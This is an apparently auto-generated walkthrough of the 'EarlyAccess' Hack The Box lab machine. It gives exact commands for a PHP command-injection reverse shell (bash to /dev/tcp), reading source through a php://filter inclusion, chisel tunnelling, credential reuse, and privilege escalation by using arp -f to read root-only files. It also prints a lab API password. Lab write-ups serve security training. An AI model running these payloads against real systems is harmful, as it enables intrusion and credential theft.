EarlyAccess
Summary
EarlyAccess (<retired-instance-ip>, Linux Hard) is a Laravel gaming-store app fronting a Docker environment. Broken access control on the main site exposes an admin backup and a game-key validator; the sibling dev vhost holds an authenticated PHP endpoint (hash.php) that passes a user-controlled hash_function to system(), giving RCE as www-data inside a container. Credentials looted from the container (www-adm, an internal api service, and a reused [REDACTED: recovered credential] root password) recover the host SSH login for drew (user). Privilege escalation abuses the adm group's read access to the root-owned /usr/sbin/arp binary, whose -f etherfile parser leaks arbitrary root-readable files, to read /root/root.txt. Every credential in the chain is [REDACTED: recovered credential] in the box image, so the game-key front door can be skipped by logging into the dev vhost directly as admin@earlyaccess.htb:[REDACTED: recovered credential].
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV --open -p22,80,443 $TARGETcurl -ksS https://$TARGET/ | grep -Eo 'href="[^"]+' | sort -uExact commands 1
curl -ksS -b '<admin_session>' https://$TARGET/admin/backup/download -o backup.zip && unzip -o backup.zipExact commands 3
curl -sS -c dev_c http://$TARGET/ -o /dev/null; curl -sS -b dev_c -c dev_c -X POST http://$TARGET/actions/login.php --data-urlencode email=admin@earlyaccess.htb --data-urlencode password=[REDACTED: credential]curl -sS -b dev_c -G http://$TARGET/actions/file.php --data-urlencode 'filepath=php://filter/convert.base64-encode/resource=hash.php'curl -sS -b dev_c -G http://$TARGET/actions/hash.php --data-urlencode action=hash --data-urlencode hash_function=system --data-urlencode "password=[REDACTED: credential] -c 'bash -i >& /dev/tcp/$INTERNAL_TARGET/4444 0>&1'" --data-urlencode debug=1Exact commands 1
curl -su api:'s3CuR3_API_PW!' http://$TARGET:5000/check_dbExact commands 2
chisel server --reverse --port 8001 # Kali; container: chisel client $INTERNAL_TARGET:8001 R:2222:$INTERNAL_TARGET:22sshpass -p '<drew-password>' ssh -p 2222 drew@localhost 'id; cat /home/drew/user.txt'Exact commands 2
su - game-adm # password:[REDACTED: credential] (drive via a pty helper; su ignores piped stdin)/usr/sbin/arp -v -f /root/root.txtExact commands 1
POST https://labs.hackthebox.com/api/v5/machine/own {"flag": "[REDACTED: flag]", "id": 375}Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.38 (earlyaccess.htb) |
| 443/tcp | ssl/http Apache httpd 2.4.38 (earlyaccess.htb) |